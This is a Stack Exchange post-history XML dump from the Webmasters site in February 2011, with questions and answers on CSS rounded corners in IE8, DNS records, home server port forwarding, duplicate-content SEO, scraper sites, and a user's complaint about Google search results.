  <row Id="18661" PostHistoryTypeId="2" PostId="8599" RevisionGUID="a596d392-d9e4-4fa8-a212-8c02ecdb647e" CreationDate="2011-02-02T08:09:49.820" UserId="4945" Text="This can be accomplished through the use of jQuery." />
  <row Id="18663" PostHistoryTypeId="2" PostId="8600" RevisionGUID="a88de331-7e59-4579-adfa-6df7c377e0c4" CreationDate="2011-02-02T08:16:34.243" UserId="4945" Text="Here is a good tutorial on restricting ip addresses to your site. http://www.roscripts.com/How_to_restrict_visitor_access_to_your_web_site-122.html&#xD;&#xA;You would have to enter them manually." />
  <row Id="18664" PostHistoryTypeId="2" PostId="8601" RevisionGUID="750b044b-51f8-45c0-8961-f9da1cb5e367" CreationDate="2011-02-02T08:20:03.383" UserId="4945" Text="You can use mediatemple. They run php 5.3.x." />
  <row Id="18665" PostHistoryTypeId="2" PostId="8602" RevisionGUID="e6449c59-a8a5-4b2d-a818-d783a3ed1fcc" CreationDate="2011-02-02T08:32:26.697" UserId="3111" Text="There are some solutions that allow you to remotely test on real devices.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Free solutions&#xD;&#xA;&#xD;&#xA; - [Nokia Remote Device Access][1]&#xD;&#xA; - [Samsung's Test lab.dev][2]&#xD;&#xA;&#xD;&#xA;Commercial solutions&#xD;&#xA;&#xD;&#xA; - [DeviceAnyWhere][3]&#xD;&#xA; - [Perfecto Mobile][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.forum.nokia.com/Devices/Remote_device_access/&#xD;&#xA;  [2]: http://innovator.samsungmobile.com/bbs/lab/view.do?platformId=2&#xD;&#xA;  [3]: http://www.deviceanywhere.com&#xD;&#xA;  [4]: http://www.perfectomobile.com" />
  <row Id="18666" PostHistoryTypeId="2" PostId="8603" RevisionGUID="3cc18b93-5253-41e5-84cc-d566a3bf0dad" CreationDate="2011-02-02T08:35:50.267" UserId="3111" Text="You can provide them with another option if they are willing to really access your site now - ask them to access your site via [Opera Mini][1].  As it is just as good as a real browser.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mini.opera.com" />
  <row Id="18667" PostHistoryTypeId="2" PostId="8604" RevisionGUID="789b41be-55b6-44bc-b6a9-cf4297fdb704" CreationDate="2011-02-02T08:37:27.517" UserDisplayName="user5095" Text="Is it possible to get rounded corners in IE8 using only CSS? If so, how?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18668" PostHistoryTypeId="1" PostId="8604" RevisionGUID="789b41be-55b6-44bc-b6a9-cf4297fdb704" CreationDate="2011-02-02T08:37:27.517" UserDisplayName="user5095" Text="CSS only rounded corners in IE8?" />
  <row Id="18669" PostHistoryTypeId="3" PostId="8604" RevisionGUID="789b41be-55b6-44bc-b6a9-cf4297fdb704" CreationDate="2011-02-02T08:37:27.517" UserDisplayName="user5095" Text="&lt;css&gt;&lt;internet-explorer&gt;" />
  <row Id="18670" PostHistoryTypeId="2" PostId="8605" RevisionGUID="8702c1d7-cf3a-4f26-b65d-870c0c221dfd" CreationDate="2011-02-02T08:41:51.493" UserId="3111" Text="Here is a presentation on &quot;[mobile web high performance][1]&quot;.&#xD;&#xA;&#xD;&#xA;Also, check out this question: http://webmasters.stackexchange.com/questions/1248/tools-to-simulate-mobile-devices-on-a-desktop-to-test-websites&#xD;&#xA;&#xD;&#xA;  [1]: http://www.slideshare.net/firt/mobile-web-high-performance" />
  <row Id="18671" PostHistoryTypeId="2" PostId="8606" RevisionGUID="94c6e06a-deac-448f-9935-2d382609cfc3" CreationDate="2011-02-02T08:45:26.340" UserId="3111" Text="Also check out [Mobile Device Database File (MDBF)][1] from Microsoft. Even though it has stopped being updated, it at least contains many many years of devices up to recently.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mdbf.codeplex.com" />
  <row Id="18672" PostHistoryTypeId="2" PostId="8607" RevisionGUID="ec5ad1f1-fe74-40fe-bf3f-7f3c0efba729" CreationDate="2011-02-02T08:52:44.247" UserDisplayName="user2550" Text="Unfortunately, it's not possible using only CSS.&#xD;&#xA;&#xD;&#xA;Here's [an article by Microsoft][1] about the very topic where they offer links to other solutions.&#xD;&#xA;&#xD;&#xA;From the article:&#xD;&#xA;&gt; While the W3C has specified the border-radius properties in its latest CSS3 working draft, Microsoft has not implemented the border-radius properties in Internet Explorer 8.&#xD;&#xA;&gt;&#xD;&#xA;&gt;Microsoft is committed to providing a browser that accurately supports Web standards. In Internet Explorer 8, we shipped several features from HTML5 and CSS3. Our primary goal was implementing CSS 2.1 (a specification that has reached final candidate stage) completely and correctly before moving on to specifications that are still in development and may change.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/bb250413%28v=vs.85%29.aspx" />
  <row Id="18673" PostHistoryTypeId="2" PostId="8608" RevisionGUID="91ae23fa-dba7-4213-8f97-c5404cfccbdd" CreationDate="2011-02-02T08:39:11.387" UserDisplayName="David" Text="I am inexperienced in the configuration of DNS and have an issue with dominan hosting set up. &#xD;&#xA;&#xD;&#xA;I have two domains&#xD;&#xA;&#xD;&#xA;'www.mydomain1.com' and 'www.mydomain2.com', with mydomain2 pointed at the same place as mydomain1.&#xD;&#xA;&#xD;&#xA;The domains were passed to me recently by the person who previoulsy controlled them. I have an account with fasthosts in the uk. When I accepted the domains I could not access the DNS settings and enquired with fasthosts as to why. The replied saying &#xD;&#xA;&#xD;&#xA;'The delegate hosting option for both domains were enabled and this is the reason why you were unable to find the option to edit the advanced DNS records.&#xD;&#xA;&#xD;&#xA;I have now disabled the delegate hosting option so you can now edit the advanced DNS records for both domains in your account.'&#xD;&#xA;&#xD;&#xA;When i log into the fasthost control panel now i can access the DNS controls but both domains have no A Record of Cname record set up. I am concerned that fasthosts have blatted the previous Nameserver entries and set me up on theirs but not added any record. &#xD;&#xA;'www.mydomain1.com' currently still works but 'www.mydomain2.com' does not find the site anymore. i am worried i will lose mydomain1 to as teh dns changes filter through the system.&#xD;&#xA;&#xD;&#xA;my webhosting is at 'xxx.xxx.xxx.xxx/mydomain1.com/' and this is where I want both domains to point. Any advice would be much appreciated. one thing which is confusing me is that because I am on a shared server I have to put 'xxx.xxx.xxx.xxx/mydomain1.com/' to get to my site rather than just 'xxx.xxx.xxx.xxx'. The form on fasthosts for the aname record only allows an IP to be entered - does it add the mydomain1.com/ onto the end itself?&#xD;&#xA;&#xD;&#xA;Thanks for any help given - I'm quite worried about this&#xD;&#xA;&#xD;&#xA;David" />
  <row Id="18674" PostHistoryTypeId="1" PostId="8608" RevisionGUID="91ae23fa-dba7-4213-8f97-c5404cfccbdd" CreationDate="2011-02-02T08:39:11.387" UserDisplayName="David" Text="DNS NAmeserver Aname and cname records" />
  <row Id="18675" PostHistoryTypeId="3" PostId="8608" RevisionGUID="91ae23fa-dba7-4213-8f97-c5404cfccbdd" CreationDate="2011-02-02T08:39:11.387" UserDisplayName="David" Text="&lt;dns&gt;&lt;nameserver&gt;" />
  <row Id="18676" PostHistoryTypeId="17" PostId="8608" RevisionGUID="5e74130a-15bc-45f0-a0bf-339c28cb3a75" CreationDate="2011-02-02T09:03:42.817" UserId="-1" Comment="from http://stackoverflow.com/questions/4872279/dns-nameserver-aname-and-cname-records" Text="" />
  <row Id="18677" PostHistoryTypeId="2" PostId="8609" RevisionGUID="d8a94df0-cff2-4cdb-a511-9e06f9edd318" CreationDate="2011-02-02T09:10:11.200" UserId="3718" Text="Unfortunately as well, IE9 doesn't support half of the features of CSS3.&#xD;&#xA;&#xD;&#xA;There is an alternatively something called CSS3 PIE, but I have tried many times to get this to work but haven't been successful. This isn't to say it doesn't work, because it does, but I don't know how to get it to work." />
  <row Id="18678" PostHistoryTypeId="2" PostId="8610" RevisionGUID="1397e1a8-af73-4baa-9b60-b9ef4844a97a" CreationDate="2011-02-02T09:14:49.593" UserId="4803" Text="I know of one simple solution to use; the JavaScript JQuery plugin JQuery Corners.&#xD;&#xA;&#xD;&#xA;All you have to do is link JQuery and the plugin using an external script reference, then add this code:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;$(&quot;[SELECTOR]&quot;).corner();&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.jquery.com&quot;&gt;JQuery&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://docs.jquery.com/How_jQuery_Works&quot;&gt;JQuery How-To&lt;/a&gt; (In case you don't know)&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.malsup.com/jquery/corner/&quot;&gt;JQuery Corners demo&lt;/a&gt;" />
  <row Id="18679" PostHistoryTypeId="2" PostId="8611" RevisionGUID="76cb0f05-1d4b-48a3-aed2-ec58e01d2749" CreationDate="2011-02-02T09:25:34.480" UserId="1218" Text="No, in fact it could make things worse. From Yahoo's [Best Practices for Speeding Up Your Web Site][1]:&#xD;&#xA;&#xD;&#xA;&gt; Image and PDF files should not be&#xD;&#xA;&gt; gzipped because they are already&#xD;&#xA;&gt; compressed. Trying to gzip them not&#xD;&#xA;&gt; only wastes CPU but can potentially&#xD;&#xA;&gt; increase file sizes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html" />
  <row Id="18680" PostHistoryTypeId="2" PostId="8612" RevisionGUID="42f75fde-3936-4fda-b008-cff5444b0ae1" CreationDate="2011-02-02T09:27:38.957" UserId="1218" Text="You want [OldVersion.com][1] -- everything back to Firefox 0.8&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oldversion.com/Mozilla_Firefox.html" />
  <row Id="18681" PostHistoryTypeId="25" PostId="8604" RevisionGUID="0023e43f-2cfa-412c-9c50-04c78ad77df5" CreationDate="2011-02-02T11:16:22.107" Comment="http://twitter.com/#!/StackWebmasters/status/32759222458392576" />
  <row Id="18682" PostHistoryTypeId="17" PostId="8614" RevisionGUID="c6389ebe-9ceb-4f19-8510-9a963ebe7bff" CreationDate="2011-02-02T11:53:29.500" UserId="-1" Comment="from http://stackoverflow.com/questions/4866617/website-hosted-at-home-pingable-from-outside-but-not-browseable-from-outside/4866670#4866670" Text="" />
  <row Id="18683" PostHistoryTypeId="17" PostId="8615" RevisionGUID="52ab91e3-6aac-40aa-b2e4-39b30742acfb" CreationDate="2011-02-02T11:53:29.500" UserId="-1" Comment="from http://stackoverflow.com/questions/4866617/website-hosted-at-home-pingable-from-outside-but-not-browseable-from-outside/4867034#4867034" Text="" />
  <row Id="18684" PostHistoryTypeId="2" PostId="8614" RevisionGUID="2829b02f-3a35-4300-9658-5b11d0ccb12e" CreationDate="2011-02-01T18:49:09.617" UserDisplayName="Sean" Text="Your ISP is likely blocking port 80.  Try setting/forward on some other port and see if it works." />
  <row Id="18685" PostHistoryTypeId="2" PostId="8615" RevisionGUID="c3609980-f5a2-4889-9294-6a37e68744ad" CreationDate="2011-02-01T19:25:19.340" UserId="5080" Text="The router's firewall and other protection software was enabled. Comcast forgot to disable this when they gave me a static I.P.&#xD;&#xA;&#xD;&#xA;When they disabled it and put it in to &quot;pass-through&quot; mode, voila, website is browseable." />
  <row Id="18686" PostHistoryTypeId="2" PostId="8613" RevisionGUID="9c3e22f0-3011-46e7-ba57-a37fa657126c" CreationDate="2011-02-01T18:43:33.073" UserId="5080" Text="I have a simple setup.&#xD;&#xA;&#xD;&#xA;1. Server at home has local I.P. 192.168.1.3&#xD;&#xA;2. IIS is running on the server and the website is up.&#xD;&#xA;3. Windows firewall on the server has an exception rule for port 80 TCP&#xD;&#xA;4. Router has static I.P. XX.XXX.XX.XXX&#xD;&#xA;5. Router is forwarding TCP port 80 to 192.168.1.3&#xD;&#xA;6. My domain registrar is my DNS host and is pointing to the static I.P. XX.XXX.XX.XXX of the router&#xD;&#xA;&#xD;&#xA;Here's what I can and can't do.&#xD;&#xA;&#xD;&#xA;1. I can browse the website from within my home network either by I.P. or domain name.&#xD;&#xA;2. I can ping the domain and the I.P. from outside the network (from a computer at work).&#xD;&#xA;3. I can't browse the website either by domain name or by I.P.&#xD;&#xA;&#xD;&#xA;Wierd. Why I can't browse my website?&#xD;&#xA;&#xD;&#xA;Incidentally, I wasn't sure this question was appropriate for SO, but after finding a few others similar to it on SO, and no comments on those questions saying anything about it being innapropriate, I decided I would post this question. Let me know if this is not appropriate for SO, or is more appropriate for another of the SE websites. Thanks!" />
  <row Id="18687" PostHistoryTypeId="1" PostId="8613" RevisionGUID="9c3e22f0-3011-46e7-ba57-a37fa657126c" CreationDate="2011-02-01T18:43:33.073" UserId="5080" Text="Website hosted at home pingable from outside, but not browseable from outside" />
  <row Id="18688" PostHistoryTypeId="3" PostId="8613" RevisionGUID="9c3e22f0-3011-46e7-ba57-a37fa657126c" CreationDate="2011-02-01T18:43:33.073" UserId="5080" Text="&lt;websites&gt;&lt;ping&gt;" />
  <row Id="18689" PostHistoryTypeId="17" PostId="8613" RevisionGUID="e6b87716-cb57-45e0-bf66-fe45b2d9344e" CreationDate="2011-02-02T11:53:29.500" UserId="-1" Comment="from http://stackoverflow.com/questions/4866617/website-hosted-at-home-pingable-from-outside-but-not-browseable-from-outside" Text="" />
  <row Id="18690" PostHistoryTypeId="2" PostId="8616" RevisionGUID="ea6ea448-e26e-4fb3-9196-7eb0576677cc" CreationDate="2011-02-02T12:29:00.703" UserId="1703" Text="I'm pretty sure the CSS property:&#xD;&#xA;&#xD;&#xA;    -moz-border-radius:10px;&#xD;&#xA;&#xD;&#xA;works in IE8, else have a look at this post: http://www.htmlremix.com/css/curved-corner-border-radius-cross-browser" />
  <row Id="18691" PostHistoryTypeId="2" PostId="8617" RevisionGUID="d9f4105c-34f0-47a4-adef-3e72b50c9291" CreationDate="2011-02-02T12:32:59.323" UserId="1703" Text="Yes Joomla 1.6 was offically released on the 10/01/2010.&#xD;&#xA;&#xD;&#xA;These are the words from the Joomla site:&#xD;&#xA;&#xD;&#xA;&gt; As of 10 January 2011, Joomla! version 1.6.0 is available. This is a production version of Joomla.&#xD;&#xA;&#xD;&#xA;From: http://www.joomla.org/component/content/article/5252.html" />
  <row Id="18692" PostHistoryTypeId="10" PostId="8604" RevisionGUID="f27047b1-a8e8-4665-ab68-c221fbd27adb" CreationDate="2011-02-02T12:50:00.457" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18697" PostHistoryTypeId="2" PostId="8618" RevisionGUID="a2689d7f-dddd-40b6-8bde-9867c8aaae10" CreationDate="2011-02-02T13:03:59.567" UserId="1597" Text="I am currently using a rewrite rule to enable access to .php pages, without using the php extension. However to prevent old links from breaking, the pages can still be accessed via links containing the .php extension too. &#xD;&#xA;&#xD;&#xA;For eg.&#xD;&#xA;&#xD;&#xA;`domain.com/page.php` can now be accessed at `domain.com/page`&#xD;&#xA;&#xD;&#xA;All the links on the website now use `domain.com/page` type links within the site. However older incoming links will still link to the .php pages, meaning Google will index both pages and mark them as duplicate.&#xD;&#xA;&#xD;&#xA;I have two plans to remedy the situation. &#xD;&#xA;&#xD;&#xA;1. **Use a php 301 redirect:** When a page is accessed with the .php extension, I can redirect each page individually using a 301 redirect using php&#xD;&#xA;&#xD;&#xA;2. **Using Canonical:** Place a canonical tag on each page, pointing to the &quot;.php&quot; less version&#xD;&#xA;&#xD;&#xA;**My Question:**   &#xD;&#xA;Are both methods equally efficacious in preventing Google from indexing my &quot;.php&quot; pages?   &#xD;&#xA;Which method should be preferred, by convention or otherwise?&#xD;&#xA;" />
  <row Id="18698" PostHistoryTypeId="1" PostId="8618" RevisionGUID="a2689d7f-dddd-40b6-8bde-9867c8aaae10" CreationDate="2011-02-02T13:03:59.567" UserId="1597" Text="Preventing Duplicates on Google" />
  <row Id="18699" PostHistoryTypeId="3" PostId="8618" RevisionGUID="a2689d7f-dddd-40b6-8bde-9867c8aaae10" CreationDate="2011-02-02T13:03:59.567" UserId="1597" Text="&lt;seo&gt;&lt;duplicate-content&gt;" />
  <row Id="18700" PostHistoryTypeId="2" PostId="8619" RevisionGUID="37f9b93c-3f05-470a-8dd6-21a21518bd9e" CreationDate="2011-02-02T13:14:26.367" UserId="1253" Text="Doing both is exactly what you want to do and will be effective in preventing Google from finding duplicate URLs. The 301 redirect will make sure Google, and users, find the correct URL and the canonical URL will ensure Google knows the URL is the correct URL and to assign any reference to 'page.php' to 'page'." />
  <row Id="18701" PostHistoryTypeId="2" PostId="8620" RevisionGUID="be73510d-2c7f-42d3-b47a-00757e9d2697" CreationDate="2011-02-02T13:16:52.573" UserId="1953" Text="I think you probably have some steps in your funnel that either the regex isn't matching properly or that aren't registering properly (In other words people are completing your goal of login/register but none of them are completing it from the cart page this would suggest you're using the wrong URL to start the funnel or your missing a URL in between the cart and login). " />
  <row Id="18702" PostHistoryTypeId="2" PostId="8621" RevisionGUID="5d4ea14c-b32d-47d2-a8cc-5888b872dd64" CreationDate="2011-02-02T13:59:58.483" UserId="4322" Text="In your case the Canonical tag is not important. The 301 is the strongest signal you can give that Google should update its index.&#xD;&#xA;&#xD;&#xA;Canonical is more important if you can't or don't want to do a 301 Redirect. " />
  <row Id="18703" PostHistoryTypeId="25" PostId="8618" RevisionGUID="00a2c7cd-0a7b-48dc-970c-40cddc181f92" CreationDate="2011-02-02T14:16:30.510" Comment="http://twitter.com/#!/StackWebmasters/status/32804556467347456" />
  <row Id="18704" PostHistoryTypeId="5" PostId="8313" RevisionGUID="01bc2897-7bf0-41e2-9af2-2b79ab151abb" CreationDate="2011-02-02T14:23:36.807" UserId="4643" Comment="deleted 27 characters in body" Text="EDIT: I'd like to change this title to:&#xD;&#xA;&#xD;&#xA;How to STOP Google's manipulation of Google search engine results presented to general public?   &#xD;&#xA;&#xD;&#xA;I updated images with both &quot;keycaptcha&quot; and keycaptcha substituted by recaptcha results as well as for &quot;Past week&quot; to avoid the discussion of not having results by &quot;keycaptcha&quot;.  &#xD;&#xA;&#xD;&#xA;---- &#xD;&#xA;&#xD;&#xA;I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past week&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past week&quot; on the left sidebar of a browser)  I am getting the Google's search results showing only results on reCAPTCHA].  &#xD;&#xA;&#xD;&#xA;![Google.com results are substituted by ][1]&#xD;&#xA;&#xD;&#xA;Though, if to confine keycaptcha keyword in quotes the results are &quot;correct&quot; (well, kind of since they are still distorted in comparison with other search engines):  &#xD;&#xA;![enter image description here][3]&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][4]  &#xD;&#xA;  - [IP adresses blacklisting][5]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly start using google.com as I am always redirected to google.ru (from google.com) by my ip-address &quot;auto-detect location&quot; google's &quot;convenience&quot;.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][6]. &#xD;&#xA;  &#xD;&#xA;There is a [work-around to use google.com/ncr (to get google.com)][7]    &#xD;&#xA;(?anybody know what does it mean)  &#xD;&#xA;to prevent redirection from google.com but even.   &#xD;&#xA;But all results are exactly the same&#xD;&#xA;&#xD;&#xA;OK, I can search by quoted &quot;keycaptcha&quot;, I am already accustomed to these google's quirks, but the question arises why the heck to burn time promoting someone's product if GOOGLE uses other product brands for showing its own interests/brands (reCAPTCHA) instead and what can be done with it?   &#xD;&#xA;The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this googling behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or logged out of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;  &#xD;&#xA;  - whether &quot;Instant is off&quot; or &quot;Instant is on&quot;.     &#xD;&#xA;&#xD;&#xA;@[Michael][8],  &#xD;&#xA;first it is not true and this text contains 2 links for real and significant results..  &#xD;&#xA;I also wrote that this is just one concrete example from many and based on many-month exp.  &#xD;&#xA;&#xD;&#xA;These distortions happen upon clicking on: &#xD;&#xA;  &#xD;&#xA;  - Past 24 hours, &#xD;&#xA;  - Past week, &#xD;&#xA;  - Past month, &#xD;&#xA;  - Sometimes: Past year&#xD;&#xA;  - Sometimes: &quot;Any time&quot;&#xD;&#xA;  - Sometimes: &quot;Latest&quot;&#xD;&#xA;  - in many other keywords, occasions/configurations of searches, etc. &#xD;&#xA;&#xD;&#xA;Second, **the absence of the results is the result and there is no point to sneakingly substitute it by another unsolicited one. It is the definition of spam and scam**.  &#xD;&#xA;&#xD;&#xA;3d, the question is not abt workarounds like how to write search queries or use another searching engines.  &#xD;&#xA;&#xD;&#xA;The question is how to straighten the googling's results in order to stop disorienting general public about.   &#xD;&#xA;  &#xD;&#xA;Update:  &#xD;&#xA;I could not understand:    &#xD;&#xA;nobody reproduces the described by me behavior  &#xD;&#xA;(i.e. when I click &quot;Past 24 hours&quot; link in google search searching for keycaptcha,   &#xD;&#xA;the presented results are only on reCAPTCHA presented)?   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Q4gRf.png&#xD;&#xA;  [2]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://i.stack.imgur.com/5LoBV.png&#xD;&#xA;  [4]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [5]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [6]: http://www.google.com/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [7]: http://en.kioskea.net/forum/affich-14111-how-to-change-from-google-xx-to-google-com&#xD;&#xA;  [8]: http://webmasters.stackexchange.com/questions/8313/why-googling-by-keycaptcha-gives-results-on-recaptcha/8328#8328&#xD;&#xA;  [9]: http://i.stack.imgur.com/hjKmZ.png" />
  <row Id="18705" PostHistoryTypeId="5" PostId="8445" RevisionGUID="e763e5e4-943e-4a26-b5c2-e70899f2392a" CreationDate="2011-02-02T14:56:15.360" UserId="4643" Comment="added 223 characters in body" Text="If google search query results are incorrect:   &#xD;&#xA; &#xD;&#xA;  - How can it be reported? &#xD;&#xA;  - What is the procedure to correct it?  &#xD;&#xA;&#xD;&#xA;@Lèse majesté:  &#xD;&#xA;Incorrect results are the results that do not contain any of the searched keywords in them like in  &#xD;&#xA;&#xD;&#xA;  - [this my question][1]   &#xD;&#xA;&#xD;&#xA;@John Conde, yes I believe it is the right defitition.  &#xD;&#xA;&#xD;&#xA;@[DisgruntedGoat][2], even when there are a lot of results by keycaptcha for &quot;Past 24 hours&quot;,  &#xD;&#xA;the Google.com presents results only on reCAPTCHA.  Anyway, they are different from those by google if to search by &quot;keycaptcha&quot; (in quotes) and by other search engines.  &#xD;&#xA;&#xD;&#xA;Everybody thinks that searches by one keyword should be sneakily substituted by google's own promoted brand products?    &#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;**Though answers insist that my results are not reproducible,  &#xD;&#xA;I am having confirmations of respondents in Europe, China, Australia and North America   &#xD;&#xA;that they are reproducing these my results on reCAPTCHA while searching by keycaptcha&#xD;&#xA;(having simultaneously results by &quot;keycaptcha&quot; searches&quot;** &#xD;&#xA;&#xD;&#xA;Update2: &#xD;&#xA;Having operating system, browsers, google's search settings only in English: &#xD;&#xA;![enter image description here][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;the search results are intermixed with quite unexpected languages:  &#xD;&#xA;&#xD;&#xA; ![enter image description here][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8313/why-googling-by-keycaptcha-gives-results-on-recaptcha&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/8445/when-google-search-gives-incorrect-results-how-can-it-be-reported&#xD;&#xA;  [3]: http://i.stack.imgur.com/gy2CU.png&#xD;&#xA;  [4]: http://i.stack.imgur.com/Rsv5B.png" />
  <row Id="18706" PostHistoryTypeId="2" PostId="8622" RevisionGUID="1e52b87b-08fe-45c8-9897-3480f60a119f" CreationDate="2011-02-02T15:28:04.330" UserDisplayName="user5104" Text="You can do this with [Tiki][1] by using Trackers and Wiki pages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tiki.org&#xD;&#xA;" />
  <row Id="18707" PostHistoryTypeId="2" PostId="8623" RevisionGUID="0e07928d-b128-4c6e-b756-72581a4e8480" CreationDate="2011-02-02T15:33:13.830" UserId="1429" Text="Contents farm, scrappers, aggregators real world examples?&#xD;&#xA;&#xD;&#xA;Could you plz clarify me:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1. efreedom.com is a [scraper site][1], not a content farm? &#xD;&#xA;Because it simply copies and pastes contents from stackoverflow.&#xD;&#xA;&#xD;&#xA;2. ehow.com and squidoo.com are [contents farm][2]?&#xD;&#xA;They don't copy and paste contents they just generate fresh new user generated content, but too much and too quickly. &#xD;&#xA;&#xD;&#xA;3. expert-exchange.com is NOT a content farm or a scraper site, right?!&#xD;&#xA;It's simply that many people (an me too) hates it ([they also wrote to Matt Cutts][3]) because it shows up hight in Google providing a useless question with no answer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;4. There are also many sites that act as 'contents aggregators in the form of specialized directories' (let's call them CASD), I don't know how to else define them. Do they have a specific definition?&#xD;&#xA;Anyway are these type of CASD contents farms or scrapers sites or what else?&#xD;&#xA;Basically these CASD search for all sites of the same type i.e. “restaurants websites”, they copy and paste the contents found in “Restaurant A” and create in their aggregator site a new page called “Restaurant A”, then they do the same for all websites of the same type, thus creating a sort of directory of restaurants.&#xD;&#xA;Later on these CASD also sends an email to the owner of “Restaurant A” (usually the email is on the website) with a user and password to let him modify/update its own page on the CASD site.&#xD;&#xA;Later on these CASD might ask for money to the owner of “Restaurant A” because they bring him traffic, otherwise they remove its page on the aggregator.&#xD;&#xA;Someone could call these simply directories, but I think a directory is different because is something you need to add your site into by filling a form and not something that steals contents from your existing site without a specific acceptance from the site's owner.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*I also really wonder how Google will sort out all these mess sites packed of contents that show up more and more and everywhere in search results.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Scraper_site&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Content_farm&#xD;&#xA;  [3]: http://www.youtube.com/watch?v=w9T6LNMvpvw" />
  <row Id="18708" PostHistoryTypeId="1" PostId="8623" RevisionGUID="0e07928d-b128-4c6e-b756-72581a4e8480" CreationDate="2011-02-02T15:33:13.830" UserId="1429" Text="Contents farms, scrapers sites, aggregators real world examples?" />
  <row Id="18709" PostHistoryTypeId="3" PostId="8623" RevisionGUID="0e07928d-b128-4c6e-b756-72581a4e8480" CreationDate="2011-02-02T15:33:13.830" UserId="1429" Text="&lt;seo&gt;&lt;contents-farm&gt;&lt;scraper-sites&gt;&lt;aggregators&gt;" />
  <row Id="18710" PostHistoryTypeId="5" PostId="5927" RevisionGUID="bff47b45-3fb4-4786-9ba0-372eb6f1c401" CreationDate="2011-02-02T15:52:45.310" UserId="1429" Comment="added 612 characters in body; added 1 characters in body" Text="Nowadays your site is not in fashion if you don't show at least a couple of share buttons like these:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;**Is this just fashion, or do people actually get something good out of it?** &#xD;&#xA;&#xD;&#xA;When I say *&quot;something good&quot;* **I mostly mean something that you could measure, and not just the feeling that was good**.&#xD;&#xA;&#xD;&#xA;Maybe I can better explain with an example: **did you notice (in some way) that many people clicked on those links to share your page/s on those web 2.0 social sites?** And in such a case on which social networks did you see they mostly share your pages?&#xD;&#xA;&#xD;&#xA;BTW I'm not talking about Google PR, i know [all web 2.0 social sites use nofollow everywhere and even hidden links, so they are useless by themselves for PR.][2]&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;According [to this video, Google's Alter Ego says that they now use in some way data from social sites in ranking][3]. If this is true, it's obvious that the Share on button for FB, Tweet, etc are definitely of some values.&#xD;&#xA;&#xD;&#xA;But again my question is more about what you noticed **in your real experience** to be a direct benefit of adding those type of &quot;Share On&quot; links on your webisite? I.e. did you see more traffic coming in form FB, or some users who bought your products because of FB or Twitter? Or any other benefits?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/tzX8b.jpg&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2260/seo-links-from-facebook-delicious-digg-are-useful-to-increase-google-pr&#xD;&#xA;  [3]: http://www.youtube.com/watch?v=ofhwPC-5Ub4" />
